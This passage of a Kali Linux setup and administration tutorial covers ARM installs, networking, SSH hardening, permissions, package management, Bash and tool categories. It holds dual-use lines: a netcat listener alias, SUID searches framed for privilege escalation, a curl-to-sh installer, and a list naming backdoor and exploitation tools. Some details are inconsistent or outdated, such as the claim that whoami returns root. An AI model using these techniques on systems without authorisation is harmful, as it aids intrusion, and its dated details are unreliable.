xz -d kali-linux-2024.1-raspberry-pi-arm64.img.xzWrite to SD Card:
# Identify SD card (usually /dev/mmcblk0 or /dev/sdb)
lsblk
# Write image
sudo dd if=kali-linux-2024.1-raspberry-pi-arm64.img of=/dev/mmcblk0 bs=4M status=progress
# Expand filesystem on first boot (auto-resize)First Boot Configuration:
# Default credentials
# Username: kali
# Password: kali
# Change password immediately
passwd
# Update system
apt update && apt full-upgrade -y
# Configure Wi-Fi (if needed)
nano /etc/wpa_supplicant/wpa_supplicant.confRaspberry Pi-Specific Tools:
# GPIO control
apt install -y wiringpi
# Camera module
apt install -y raspicam
# Hardware monitoring
apt install -y raspi-gpio
# I2C and SPI
raspi-config
# Enable interfaces under Interface OptionsBeagleBone Black:
# Download specific image
wget https://kali.org/get-kali/kali-linux-2024.1-beaglebone-black-armhf.img.xz
# Write to microSD
xz -d kali-linux-2024.1-beaglebone-black-armhf.img.xz
sudo dd if=kali-linux-2024.1-beaglebone-black-armhf.img of=/dev/mmcblk0 bs=1M status=progressOdroid:
# Different models require different images
# Odroid U2/U3
wget https://kali.org/get-kali/kali-linux-2024.1-odroid-u2-armhf.img.xz
# Odroid XU3/XU4
wget https://kali.org/get-kali/kali-linux-2024.1-odroid-xu3-armhf.img.xzPine64:
# Pinebook Pro
wget https://kali.org/get-kali/kali-linux-2024.1-pinebook-pro-arm64.img.xz
# PinePhone
wget https://kali.org/get-kali/kali-linux-2024.1-pinephone-arm64.img.xzAfter installing Kali, proper configuration ensures optimal performance and usability.
# Update package lists
apt update
# Upgrade all packages
apt full-upgrade -y
# Clean up unnecessary packages
apt autoremove -y
apt autoclean
# Check kernel version (should be latest)
uname -aStatic IP Configuration:
# Edit network configuration
nano /etc/network/interfaces
# For static IP (example)
auto eth0
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 8.8.8.8 8.8.4.4
# Restart networking
systemctl restart networkingNetworkManager Usage:
# List connections
nmcli connection show
# Add static connection
nmcli connection add type ethernet con-name static-lab ifname eth0 ip4 192.168.56.100/24 gw4 192.168.56.1
# Modify existing
nmcli connection mod "Wired connection 1" ipv4.dns "8.8.8.8"Wi-Fi Configuration:
# List available networks
iwconfig
nmcli device wifi list
# Connect to network
nmcli device wifi connect "SSID" password "password"
# Create configuration file
wpa_passphrase "SSID" "password" | sudo tee /etc/wpa_supplicant.confAdd New User:
# Create user
useradd -m -s /bin/bash analyst
passwd analyst
# Add to sudo group
usermod -aG sudo analyst
# Copy configuration files
cp -r /etc/skel/. /home/analyst/
chown -R analyst:analyst /home/analystSecure Root Access:
# Disable root SSH login
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart ssh
# Use sudo for privileged commands
# Add user to sudo group as aboveSSH Configuration Security:
# Edit SSH config
nano /etc/ssh/sshd_config
# Security settings
Port 2222 # Change from default
Protocol 2
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PasswordAuthentication no
AllowUsers analyst
MaxAuthTries 3
MaxSessions 2
ClientAliveInterval 300
ClientAliveCountMax 2
# Restart SSH
systemctl restart sshdSSH Key Setup:
# On client, generate key
ssh-keygen -t ed25519 -C "kali-analyst"
# Copy to Kali
ssh-copy-id -p 2222 analyst@kali-ip
# Test login
ssh -p 2222 analyst@kali-ipDefault Desktop (Xfce):
# Install additional themes
apt install -y kali-themes-gtk
# Install icons
apt install -y kali-icons
# Configure panel
# Right-click panel > Panel Preferences
# Add/remove items as desired
# Install additional plugins
apt install -y xfce4-goodiesTerminal Customization:
# Install ZSH and Oh-My-Zsh
apt install -y zsh git
sh -c "$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
# Install Powerlevel10k theme
git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k
# Set ZSH as default
chsh -s /bin/zshUseful Aliases:
# Add to .bashrc or .zshrc
echo 'alias nmap-scan="nmap -sV -sC -O"' >> ~/.zshrc
echo 'alias update="sudo apt update && sudo apt upgrade -y"' >> ~/.zshrc
echo 'alias myip="curl ifconfig.me"' >> ~/.zshrc
echo 'alias listen="sudo nc -lvnp"' >> ~/.zshrc
echo 'alias webshare="python3 -m http.server 80"' >> ~/.zshrcInstall Metapackages:
# Install wireless tools
apt install -y kali-linux-wireless
# Install web testing tools
apt install -y kali-linux-web
# Install password tools
apt install -y kali-linux-pwt
# Install all tools
apt install -y kali-linux-largeCustom Tool Installation:
# Create tools directory
mkdir -p ~/tools
cd ~/tools
# Clone GitHub repositories
git clone https://github.com/toolname/tool.git
cd tool
python3 setup.py install
# Add to PATH if needed
echo 'export PATH=$PATH:~/tools/tool' >> ~/.zshrcConfiguration Backup:
# Backup important configs
tar -czf kali-config-backup.tar.gz ~/.bashrc ~/.zshrc ~/.ssh /etc/network/interfaces
# Backup installed packages list
dpkg --get-selections > package-list.txt
# Backup custom tools
tar -czf custom-tools.tar.gz ~/tools/Restore from Backup:
# Restore configs
tar -xzf kali-config-backup.tar.gz -C /
# Restore packages
dpkg --set-selections < package-list.txt
apt-get dselect-upgrade
# Restore tools
tar -xzf custom-tools.tar.gz -C ~/Understanding the Linux filesystem is crucial for effective penetration testing and system navigation.
The Linux filesystem follows the Filesystem Hierarchy Standard (FHS), which defines the purpose of each directory:
/ (Root)
├── /bin - Essential command binaries
├── /boot - Boot loader files and kernel
├── /dev - Device files
├── /etc - System configuration files
├── /home - User home directories
├── /lib - Essential shared libraries
├── /media - Mount points for removable media
├── /mnt - Temporary mount points
├── /opt - Optional application software
├── /proc - Virtual filesystem for process info
├── /root - Root user home directory
├── /sbin - System administration binaries
├── /srv - Service data
├── /sys - Virtual filesystem for system info
├── /tmp - Temporary files
├── /usr - User binaries and read-only data
└── /var - Variable data files
/etc - Configuration Files:
# Important configuration files
/etc/passwd # User account information
/etc/shadow # Encrypted passwords
/etc/group # Group definitions
/etc/hosts # Static hostname lookup
/etc/resolv.conf # DNS configuration
/etc/network/ # Network configuration
/etc/ssh/ # SSH configuration
/etc/sudoers # Sudo privileges/var - Variable Data:
# Important variable data locations
/var/log/ # System logs
/var/log/auth.log # Authentication logs
/var/log/syslog # System logs
/var/log/apache2/ # Web server logs
/var/www/ # Web server files
/var/tmp/ # Persistent temporary files/proc - Process Information:
# Process information examples
/proc/cpuinfo # CPU information
/proc/meminfo # Memory information
/proc/version # Kernel version
/proc/net/ # Network information
/proc/[PID]/ # Process-specific information
/proc/self/ # Current process info/dev - Device Files:
# Important device files
/dev/sda # First SATA/SCSI disk
/dev/sda1 # First partition on first disk
/dev/tty # Terminal devices
/dev/null # Data sink (discard data)
/dev/zero # Zero stream
/dev/random # Random number generatorUnderstanding user and group management is fundamental for both system administration and privilege escalation.
User Types:
# Root user (UID 0)
# System users (UID 1-999)
# Regular users (UID 1000+)
# View current user
whoami
id
# List all users
cat /etc/passwd
# List logged-in users
who
w
lastUser Management Commands:
# Add user
useradd -m -s /bin/bash john
passwd john
# Add user with specific UID
useradd -u 1500 -m -s /bin/bash jane
# Modify user
usermod -aG sudo john # Add to group
usermod -L john # Lock account
usermod -U john # Unlock account
# Delete user
userdel -r john # Remove with home directoryUser Information Files:
# /etc/passwd format
# username:password:UID:GID:comment:home:shell
root:x:0:0:root:/root:/bin/bash
# /etc/shadow format
# username:encrypted password:last change:min:max:warn:inactive:expire
root:$6$salt$encrypted:18765:0:99999:7:::
# /etc/group format
# groupname:password:GID:memberlist
sudo:x:27:john,janeGroup Commands:
# Create group
groupadd developers
# Create group with specific GID
groupadd -g 2000 devops
# Modify group
groupmod -n developers devs # Rename group
# Delete group
groupdel developers
# Add user to group
usermod -aG developers john
# Remove user from group
gpasswd -d john developers
# List user groups
groups john
id johnPrimary vs Secondary Groups:
- Primary group: Default group for new files
- Secondary groups: Additional group memberships
- Files created inherit primary group
- Can access files based on secondary groups
Mastering file permissions is essential for understanding security and privilege escalation.
Permission Types:
- r (4) - Read
- w (2) - Write
- x (1) - Execute
Permission Categories:
- u - User (owner)
- g - Group
- o - Others
- a - All
Viewing Permissions:
# List with permissions
ls -l
-rwxr-xr-- 1 john developers 1024 Jan 1 12:34 script.sh
# Breakdown:
# -: file type (d directory, l link, - file)
# rwx: user permissions
# r-x: group permissions
# r--: others permissions
# 1: number of hard links
# john: owner
# developers: group
# 1024: size
# Jan 1 12:34: modification date
# script.sh: filenameChanging Permissions:
# Symbolic mode
chmod u+x script.sh # Add execute for user
chmod g-w script.sh # Remove write for group
chmod o=r script.sh # Set others to read-only
chmod a+x script.sh # Add execute for all
# Numeric mode
chmod 755 script.sh # rwxr-xr-x
chmod 644 file.txt # rw-r--r--
chmod 600 private.key # rw-------
chmod 777 dangerous.sh # rwxrwxrwx (avoid!)
# Recursive changes
chmod -R 755 /path/to/directoryChanging Ownership:
# Change owner
chown john script.sh
# Change group
chown :developers script.sh
# Change both
chown john:developers script.sh
# Recursive
chown -R john:developers /home/johnSUID (Set User ID) - 4000:
- Executes with owner's privileges
- Security risk when misconfigured
- Find SUID files for privilege escalation
# Set SUID
chmod u+s program
chmod 4755 program
# Find SUID files
find / -perm -4000 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
# Examples
-rwsr-xr-x 1 root root /usr/bin/passwd
-rwsr-xr-x 1 root root /bin/suSGID (Set Group ID) - 2000:
- Executes with group privileges
- New files inherit group
- Important for shared directories
# Set SGID
chmod g+s directory
chmod 2755 directory
# Find SGID files
find / -perm -2000 2>/dev/null
# Examples
-rwxr-sr-x 1 root shadow /usr/bin/expiry
drwxrwsr-x 2 root staff /usr/local/shareSticky Bit - 1000:
- Only owner can delete/rename files
- Used on /tmp directory
# Set sticky bit
chmod +t directory
chmod 1777 directory
# Check sticky bit
ls -ld /tmp
# drwxrwxrwt 20 root root 4096 Jan 1 /tmp
# Find sticky directories
find / -type d -perm -1000 2>/dev/nullACLs provide fine-grained permissions beyond traditional Unix permissions:
Viewing ACLs:
# Install ACL tools
apt install -y acl
# View ACL
getfacl file.txt
# file: file.txt
# owner: john
# group: developers
# user::rw-
# user:jane:r--
# group::r--
# mask::r--
# other::r--Setting ACLs:
# Grant specific user access
setfacl -m u:jane:rw file.txt
# Grant specific group access
setfacl -m g:devops:rx directory/
# Remove specific entry
setfacl -x u:jane file.txt
# Remove all ACLs
setfacl -b file.txt
# Set default ACLs for directory
setfacl -d -m u:jane:rwx directory/Important ACL Considerations:
- ACLs add complexity
- Backward compatible with standard permissions
- Can impact performance on many files
- Use
ls -lshows '+' for ACLs
Understanding processes is crucial for system monitoring, exploitation, and privilege escalation.
Process States:
- R - Running or runnable
- S - Interruptible sleep
- D - Uninterruptible sleep
- Z - Zombie (defunct)
- T - Stopped
- t - Tracing stop
Viewing Processes:
# List processes
ps aux
ps -ef
# Process tree
pstree
ps auxf
# Show specific user processes
ps -u john
# Show process by name
pgrep -l apache2
ps -C apache2Top/htop:
# Install htop
apt install -y htop
# Interactive process viewer
top
htop
# Batch mode
top -b -n 1 > top_output.txt
# Show specific user
top -u johnSignals:
# Common signals
# 1: SIGHUP - Hangup (reload)
# 2: SIGINT - Interrupt (Ctrl+C)
# 9: SIGKILL - Kill (force)
# 15: SIGTERM - Terminate (graceful)
# Send signals
kill -15 PID
kill -9 PID
killall -9 process_name
pkill -9 process_name
# Send signal by name
pkill -HUP apache2
killall -TERM firefoxProcess Priority:
# View priority (NI value: -20 to 19, lower = higher priority)
ps -eo pid,ni,cmd
# Start with specific priority
nice -n 10 command
nice -10 command # Lower priority
# Change priority of running process
renice -n 5 -p PID
renice +5 -p PID # Increase priorityBackground/Foreground:
# Run in background
command &
command &> /dev/null &
# Suspend process (Ctrl+Z)
# List jobs
jobs
# Bring to foreground
fg %1
# Run in background
bg %1
# Disown from shell
disown %1System Monitoring:
# System load
uptime
w
# Memory usage
free -h
vmstat 1 10
# I/O statistics
iostat -x 1
iotop
# Network connections
netstat -tulpn
ss -tulpn
lsof -iProcess Details:
# Process information from /proc
cat /proc/PID/cmdline
cat /proc/PID/environ
ls -l /proc/PID/fd/
# Open files by process
lsof -p PID
lsof -c process_name
# Memory maps
cat /proc/PID/maps
pmap PIDKali uses Debian's package management system, essential for tool installation and system maintenance.
Repository Configuration:
# Sources list
cat /etc/apt/sources.list
# Kali repositories
deb https://http.kali.org/kali kali-rolling main non-free contrib
deb-src https://http.kali.org/kali kali-rolling main non-free contrib
# Add repository (be careful with non-Kali repos!)
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.listBasic APT Commands:
# Update package lists
apt update
# Upgrade all packages
apt upgrade
apt full-upgrade # Handles dependency changes
# Install packages
apt install package-name
apt install -y package-name # Auto-yes
# Remove packages
apt remove package-name
apt purge package-name # Remove with configs
apt autoremove # Remove unused dependencies
# Search packages
apt search keyword
apt show package-name
# List installed
apt list --installed
apt list --upgradableAdvanced APT Usage:
# Download without installing
apt download package-name
# Show package dependencies
apt depends package-name
apt rdepends package-name
# Clean cache
apt clean
apt autoclean
# Fix broken dependencies
apt --fix-broken install
# Hold packages (prevent upgrades)
apt hold package-name
apt unhold package-nameBasic DPKG Commands:
# Install local .deb file
dpkg -i package.deb
# Remove package
dpkg -r package-name
dpkg -P package-name # Purge with configs
# List installed
dpkg -l
dpkg -l | grep pattern
# Package information
dpkg -s package-name
dpkg -p package.deb
# List files in package
dpkg -L package-name
# Find package owning file
dpkg -S /path/to/filePackage Reconfiguration:
# Reconfigure installed package
dpkg-reconfigure package-name
# Verify package integrity
dpkg --verify package-name
debsums package-name # Install debsums firstCommon Problems:
# Fix interrupted installs
dpkg --configure -a
# Force install (careful!)
dpkg -i --force-all package.deb
# Hold broken package
echo "package-name hold" | dpkg --set-selections
# Clear stuck packages
rm /var/lib/dpkg/info/package-name.*
dpkg --remove --force-remove-reinstreq package-nameNetwork fundamentals are critical for penetration testing and system administration.
Interface Management:
# List interfaces
ip link show
ifconfig -a
# Enable/disable interface
ip link set eth0 up
ip link set eth0 down
ifconfig eth0 up
# View IP addresses
ip addr show
ifconfig
# Add IP address
ip addr add 192.168.1.100/24 dev eth0
ifconfig eth0 192.168.1.100 netmask 255.255.255.0Routing:
# View routing table
ip route show
route -n
# Add default gateway
ip route add default via 192.168.1.1
route add default gw 192.168.1.1
# Add static route
ip route add 10.0.0.0/24 via 192.168.1.254
route add -net 10.0.0.0 netmask 255.255.255.0 gw 192.168.1.254
# Delete route
ip route del 10.0.0.0/24
route del -net 10.0.0.0/24DNS Configuration:
# DNS servers
cat /etc/resolv.conf
# nameserver 8.8.8.8
# nameserver 8.8.4.4
# Test DNS
nslookup example.com
dig example.com
host example.com
# Query specific DNS server
dig @8.8.8.8 example.com
nslookup example.com 8.8.8.8Connectivity Testing:
# Ping test
ping -c 4 8.8.8.8
ping -c 4 google.com
# Traceroute
traceroute google.com
mtr google.com # Combined ping/traceroute
# Path MTU discovery
tracepath google.comPort Connectivity:
# Test TCP port
nc -zv google.com 80
nc -zvw 3 target.com 1-1000 # Port range
telnet target.com 80
# Test UDP port
nc -zuv target.com 53
# Using /dev/tcp (bash)
echo >/dev/tcp/google.com/80 && echo "Port open"Bandwidth Testing:
# iperf3 (server/client)
iperf3 -s # Server
iperf3 -c server-ip # Client
# Speed test CLI
speedtest-cliNetwork Namespaces:
# Create namespace
ip netns add test-ns
# List namespaces
ip netns list
# Execute command in namespace
ip netns exec test-ns ip addr
# Add veth pair
ip link add veth0 type veth peer name veth1
ip link set veth1 netns test-nsBonding and Teaming:
# Install bonding module
modprobe bonding
# Create bond interface
ip link add bond0 type bond mode 802.3ad
ip link set eth0 master bond0
ip link set eth1 master bond0Proficiency with Bash is essential for efficient penetration testing and automation.
Navigation:
# Directory navigation
cd ~ # Home directory
cd - # Previous directory
cd .. # Parent directory
# Directory stack
pushd /tmp # Push and go to directory
popd # Return to previous
dirs # Show stackCommand History:
# History commands
history
!! # Run last command
!100 # Run command #100
!nmap # Run last nmap command
!$ # Last argument of previous command
# Search history
Ctrl+R # Reverse search
history | grep nmapCommand Substitution:
# Command substitution
echo "Today is $(date)"
echo "Files: $(ls | wc -l)"
# Backticks (older style)
echo "Hostname: `hostname`"Standard Streams:
# stdin (0), stdout (1), stderr (2)
# Redirect output
command > file.txt # stdout to file
command 2> errors.txt # stderr to file
command &> all.txt # both to file
# Append
command >> file.txt # Append stdout
command 2>> errors.txt # Append stderr
# Redirect input
command < input.txt
command << EOF
multiline
input
EOF
# Pipes
command1 | command2
command1 2>&1 | command2 # Pipe both stdout and stderrProcess Substitution:
# Process substitution
diff <(ls dir1) <(ls dir2)
while read line; do echo $line; done < <(command)Variable Types:
# Local variables
name="John"
echo $name
# Environment variables
export PATH=$PATH:/custom/path
export EDITOR=vim
# Special variables
$0 # Script name
$1, $2... # Script arguments
$# # Number of arguments
$@ # All arguments
$? # Exit status of last command
$$ # Process ID
$! # PID of last background commandVariable Operations:
# Default values
${var:-default} # Use default if var unset
${var:=default} # Set default if var unset
${var:?error} # Error if var unset
${var:+alternate} # Use alternate if var set
# String manipulation
${#var} # String length
${var:offset:length} # Substring
${var#pattern} # Remove shortest prefix
${var##pattern} # Remove longest prefix
${var%pattern} # Remove shortest suffix
${var%%pattern} # Remove longest suffix
${var/old/new} # Replace first match
${var//old/new} # Replace all matchesArrays:
# Array declaration
fruits=("apple" "banana" "orange")
numbers=(1 2 3 4 5)
# Access elements
echo ${fruits[0]} # First element
echo ${fruits[@]} # All elements
echo ${#fruits[@]} # Array length
# Array operations
fruits+=("grape") # Append
unset fruits[1] # Remove element
# Associative arrays (Bash 4+)
declare -A user
user[name]="John"
user[age]=30Loops:
# For loop
for i in {1..5}; do
echo "Number: $i"
done
# C-style for
for ((i=0; i<5; i++)); do
echo $i
done
# While loop
count=1
while [ $count -le 5 ]; do
echo $count
((count++))
done
# Until loop
count=1
until [ $count -gt 5 ]; do
echo $count
((count++))
done
# Loop over files
for file in *.txt; do
echo "Processing: $file"
done
# Loop with command output
while read line; do
echo $line
done < <(ls -la)Test Constructs:
# if statement
if [ condition ]; then
commands
elif [ condition2 ]; then
commands
else
commands
fi
# File tests
[ -f file ] # Is regular file
[ -d dir ] # Is directory
[ -x file ] # Is executable
[ -r file ] # Is readable
[ -w file ] # Is writable
[ -s file ] # Size > 0
[ -e file ] # File exists
# String tests
[ "$str1" = "$str2" ] # Equal
[ "$str1" != "$str2" ] # Not equal
[ -z "$str" ] # Empty string
[ -n "$str" ] # Non-empty string
# Numeric tests
[ $a -eq $b ] # Equal
[ $a -ne $b ] # Not equal
[ $a -gt $b ] # Greater than
[ $a -ge $b ] # Greater or equal
[ $a -lt $b ] # Less than
[ $a -le $b ] # Less or equal
# Logical operators
[ cond1 -a cond2 ] # AND
[ cond1 -o cond2 ] # OR
! [ cond ] # NOT
# Double brackets (Bash-specific)
[[ $str == pattern ]] # Pattern matching
[[ $str =~ regex ]] # Regex matchingFunction Definition:
# Function syntax
function_name() {
commands
return value # Optional return
}
# Alternative
function function_name {
commands
}
# Call function
function_name arg1 arg2Function Examples:
# Function with parameters
greet() {
echo "Hello, $1!"
return 0
}
# Function with local variables
process_file() {
local file="$1"
local count=$(wc -l < "$file")
echo "$file has $count lines"
}
# Function returning value
is_root() {
if [ $EUID -eq 0 ]; then
return 0 # True
else
return 1 # False
fi
}
if is_root; then
echo "Running as root"
fiSecure Shell is essential for remote administration and penetration testing.
Basic Connections:
# Basic SSH
ssh user@hostname
ssh -p 2222 user@hostname # Custom port
ssh -l username hostname
# SSH with key
ssh -i ~/.ssh/id_rsa user@hostname
# Verbose (debugging)
ssh -vvv user@hostname
# Command execution
ssh user@hostname 'ls -la'
ssh user@hostname 'command1; command2'SSH Config File (~/.ssh/config):
# Host-specific configuration
Host kali-lab
HostName 192.168.1.100
User analyst
Port 2222
IdentityFile ~/.ssh/kali-key
# Wildcard configuration
Host *.lab.local
User analyst
ForwardAgent no
# Jump host configuration
Host target
HostName 10.0.0.10
User admin
ProxyJump jump-hostSSH Tunneling:
# Local port forwarding
# Access internal service via SSH
ssh -L 8080:internal:80 user@gateway
# Remote port forwarding
# Expose local service externally
ssh -R 8080:localhost:80 user@public-server
# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@gateway
# Configure browser to use localhost:1080 as SOCKS proxy
# Multiple tunnels
ssh -L 8080:web:80 -L 3389:rdp:3389 user@gatewaySSH Agent:
# Start agent
eval $(ssh-agent)
# Add key
ssh-add ~/.ssh/id_rsa
ssh-add -l # List keys
ssh-add -d # Delete key
# Agent forwarding
ssh -A user@host
# In SSH config: ForwardAgent yesServer Configuration (/etc/ssh/sshd_config):
# Basic settings
Port 22
Protocol 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
# Authentication
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PasswordAuthentication no
ChallengeResponseAuthentication no
UsePAM yes
# Access control
AllowUsers analyst john
AllowGroups sshusers
DenyUsers root bin
DenyGroups guests
# Security settings
MaxAuthTries 3
MaxSessions 10
LoginGraceTime 30
PermitEmptyPasswords no
ClientAliveInterval 300
ClientAliveCountMax 2
# Forwarding
AllowTcpForwarding yes
X11Forwarding no
AllowAgentForwarding noKey Management:
# Generate server keys
ssh-keygen -t rsa -b 4096 -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t ecdsa -b 521 -f /etc/ssh/ssh_host_ecdsa_key
ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key
# Regenerate keys (if compromised)
rm /etc/ssh/ssh_host_*
dpkg-reconfigure openssh-serverSSH Security Hardening:
# Disable weak algorithms
# In sshd_config
KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com
# Set up fail2ban
apt install fail2ban
cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
# Configure SSH jail
systemctl enable fail2ban
systemctl start fail2ban
# Use port knocking (optional)
apt install knockd
# Configure knockd.conf for SSH access sequenceCommon Issues:
# Check SSH service
systemctl status ssh
netstat -tlnp | grep :22
# Check logs
tail -f /var/log/auth.log
journalctl -u ssh -f
# Test connectivity
ssh -v user@host
ssh -T user@host # Test without shell
# Check permissions
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 600 ~/.ssh/authorized_keys
chmod 644 ~/.ssh/configSSH Key Troubleshooting:
# Debug key issues
ssh -v -i key user@host
ssh-keygen -y -f private.key # Verify private key
# Convert key formats
ssh-keygen -p -f key # Change passphrase
ssh-keygen -t rsa -b 4096 -f newkey # Generate new
# Add key to agent
ssh-add -l # List agent keys
ssh-add ~/.ssh/id_rsaUnderstanding Kali's underlying architecture helps users effectively maintain and troubleshoot their systems.
Kali Linux is built upon Debian's testing branch, providing a stable yet up-to-date foundation:
Debian Branches:
- Stable: Production-ready, rarely updated
- Testing: Packages after brief testing, rolling
- Unstable (Sid): Latest packages, potentially unstable
Why Debian Testing:
- More current packages than Debian Stable
- More stable than Debian Unstable
- Large package repository
- Strong community support
- Predictable package management
Debian-Specific Features:
# Debian version information
cat /etc/debian_version
lsb_release -a
# Debian package management
dpkg --print-architecture
apt-cache policy package-name
# Debian-specific directories
/etc/apt/ # APT configuration
/var/lib/dpkg/ # Package database
/usr/share/doc/ # Package documentationKali's rolling release model ensures tools are always current:
Advantages:
- Latest security tools immediately available
- No major version upgrades needed
- Continuous security updates
- New features as soon as they're ready
Update Process:
# Regular updates
apt update
apt full-upgrade -y
# Check for distribution updates
grep -r "VERSION" /etc/os-release
# Kali specific update
kali-update
# Monitor rolling releases
cat /etc/apt/sources.list
# Should contain: deb https://http.kali.org/kali kali-rolling main non-free contribPotential Challenges:
- Package conflicts occasionally
- Need for regular updates
- Potential breakage with major changes
- Requires understanding of package management
Kali's repositories are structured to provide security tools while maintaining system stability.
Default Repositories:
# /etc/apt/sources.list
deb https://http.kali.org/kali kali-rolling main non-free contrib
deb-src https://http.kali.org/kali kali-rolling main non-free contrib
# Additional repositories (use with caution)
deb https://http.kali.org/kali kali-last-snapshot main non-free contribRepository Components:
- main: Officially supported free software
- non-free: Non-free software (drivers, firmware)
- contrib: Depends on non-free packages
Choosing Mirrors:
# List Kali mirrors
curl https://http.kali.org/README-mirror
# Use mirror selector
apt install -y netselect-apt
netselect-apt kali-rolling
# Manual mirror configuration
# Edit /etc/apt/sources.list
deb https://mirrors.ocf.berkeley.edu/kali kali-rolling main non-free contribMirror Verification:
# Verify mirror integrity
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add -
# Check repository metadata
apt update
apt-cache policyAdding Custom Repositories:
# Create repository file
echo "deb https://custom.repo/ubuntu focal main" > /etc/apt/sources.list.d/custom.list
# Add GPG key
wget -q -O - https://custom.repo/key.asc | apt-key add -
# Update and install
apt update
apt install custom-packageRepository Priorities (APT Pinning):
# /etc/apt/preferences.d/kali
Package: *
Pin: release o=Kali
Pin-Priority: 1000
# Prevent non-Kali packages
Package: *
Pin: release o=Debian
Pin-Priority: -1Kali uses metapackages to group related tools for easy installation.
Core Metapackages:
# List available metapackages
apt-cache search kali-linux
# Essential metapackages
kali-linux-core # Minimal core system
kali-linux-headless # Server installation
kali-linux-default # Default desktop tools
kali-linux-large # Extended toolset
kali-linux-full # EverythingSpecialized Metapackages:
# Category-specific
kali-linux-wireless # Wireless testing
kali-linux-web # Web application testing
kali-linux-pwt # Password cracking
kali-linux-forensic # Digital forensics
kali-linux-gpu # GPU tools
kali-linux-arm # ARM development
kali-linux-nethunter # NetHunter platform
kali-linux-everything # All toolsBasic Installation:
# Install specific metapackage
apt install -y kali-linux-wireless
# Install multiple
apt install -y kali-linux-web kali-linux-pwt
# Install all tools (large download)
apt install -y kali-linux-everythingCustom Metapackage Creation:
# Create custom metapackage definition
mkdir mytools
cd mytools
# Create control file
cat << EOF > control
Package: my-pentest-tools
Version: 1.0
Architecture: all
Maintainer: Your Name <email@example.com>
Depends: nmap, wireshark, metasploit-framework, burpsuite
Description: My custom penetration testing tools
EOF
# Build package
dpkg-deb --build . my-pentest-tools.deb
# Install
dpkg -i my-pentest-tools.debKali organizes tools according to penetration testing phases and categories.
Information Gathering:
- Network scanning (nmap, masscan)
- OSINT tools (theHarvester, maltego)
- DNS enumeration (dnsrecon, fierce)
- Web reconnaissance (whatweb, wafw00f)
Vulnerability Analysis:
- Vulnerability scanners (openvas, nikto)
- Fuzzing tools (wfuzz, sfuzz)
- Stress testing (dhcpig, slowhttptest)
Web Applications:
- Web proxies (burpsuite, zaproxy)
- SQL injection (sqlmap, sqlninja)
- CMS testing (wpscan, joomscan)
Database Assessment:
- SQL assessment (sqlmap, sqldict)
- Database scanners (bbqsql, jsql)
Password Attacks:
- Online attacks (hydra, medusa)
- Offline cracking (john, hashcat)
- Wordlists (rockyou, crunch)
Wireless Attacks:
- 802.11 (aircrack-ng, kismet)
- Bluetooth (blueranger, redfang)
- RFID (libnfc, mfoc)
Reverse Engineering:
- Debuggers (gdb, edb)
- Disassemblers (radare2, ghidra)
- Decompilers (jadx, apktool)
Exploitation Tools:
- Frameworks (metasploit, exploitdb)
- Shellcode (msfvenom, shellter)
- Social engineering (setoolkit)
Sniffing & Spoofing:
- Packet capture (wireshark, tcpdump)
- MITM tools (ettercap, bettercap)
- Protocol analysis (scapy, dsniff)
Post Exploitation:
- Backdoors (weevely, php-backdoors)
- Tunneling (proxychains, sshuttle)
- Privilege escalation (linenum, winpeas)
Forensics:
- Imaging (dc3dd, guymager)
- Analysis (autopsy, sleuthkit)
- Memory (volatility, rekall)
Reporting Tools:
- Documentation (keepnote, cherrytree)
- Report generation (dradis, magictree)
Finding Tools:
# Search by category
apt-cache search kali | grep wireless
apt-cache search penetration testing
# Tool locations
which nmap
whereis metasploit
dpkg -L metasploit-frameworkTool Documentation:
# Man pages
man nmap
nmap -h
nmap --help
# Tool documentation
ls /usr/share/doc/nmap/
ls /usr/share/metasploit-framework/documentation/Kali includes specific kernel modifications for penetration testing.
Kernel Patches:
# Check wireless support
iw list | grep "Supported interface modes"
airmon-ng
# Kernel modules
lsmod | grep -E "rtl|ath|mac80211"
modinfo ath9k_htcCustom Kernel Features:
- Packet injection patches
- Monitor mode support
- Promiscuous mode
- Raw socket access
Current Kernel Info:
# Kernel version
uname -a
cat /proc/version
# Kernel modules
ls /lib/modules/$(uname -r)/
modprobe -lKernel Parameters:
# View parameters
sysctl -a
cat /etc/sysctl.conf
# Modify runtime parameters
sysctl -w net.ipv4.ip_forward=1
echo 1 > /proc/sys/net/ipv4/ip_forward
# Persistent configuration
echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.confWhen to Compile Custom Kernel:
- Specific hardware support
- Performance optimization
- Research requirements
- Embedded systems
Basic Compilation Process:
# Install build dependencies
apt install -y build-essential linux-source bc kmod cpio flex libncurses5-dev libelf-dev libssl-dev
# Get kernel source
apt install linux-source
cd /usr/src
tar xf linux-source-*.tar.xz
# Configure kernel
make menuconfig
# Enable/disable features as needed
# Compile
make -j$(nproc)
make modules_install
make installKali implements specific security policies appropriate for penetration testing.
Root by Default:
# Check current user
whoami
# Returns: root
# Security implications
- Full system access
- No sudo required
- Increased risk if misused
- Not for daily useDisabled Services:
# Check running services
systemctl list-units --type=service --state=running
# Common disabled services
- SSH (enabled optionally)
- Web servers
- Database servers
- Network file sharingNetwork Security:
# Default firewall rules
iptables -L
nft list ruleset
# TCP/IP stack hardening
cat /etc/sysctl.d/99-kali.conf
